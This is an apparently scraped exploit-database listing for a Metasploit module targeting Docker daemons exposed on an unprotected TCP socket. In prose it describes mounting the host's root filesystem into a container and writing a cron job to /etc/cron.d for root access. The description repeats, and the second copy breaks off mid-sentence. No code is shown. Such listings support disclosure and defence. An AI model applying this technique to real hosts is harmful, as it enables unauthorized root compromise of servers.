Docker Daemon Unprotected TCP Socket

Docker Daemon Unprotected TCP Socket
Posted Sep 8, 2017
Authored by Martin Pizala | Site metasploit.com

Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp with tls but without tls-auth), an attacker can create a Docker container with the '/' path mounted with read/write permissions on the host server that is running the Docker container. As the Docker container executes command as uid 0 it is honored by the host operating system allowing the attacker to edit/create files owned by root. This exploit abuses this to creates a cron job in the '/etc/cron.d/' path of the host server. The Docker image should exist on the target system or be a valid image from hub.docker.com.

Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp
with tls but without tls-auth), an attacker can create a Docker
container with the '/' path mounted with read/write permissions on the
host server that is running the Docker container. As the Docker
container executes command as uid 0 it is honored by the host operating
system allowing the attacker to edit/create files owned by root. This
exploit abuses this to creates a cron job in the '/etc/cron.d/' path of
the host server.

The Docker image should exist on the target system or be a valid image
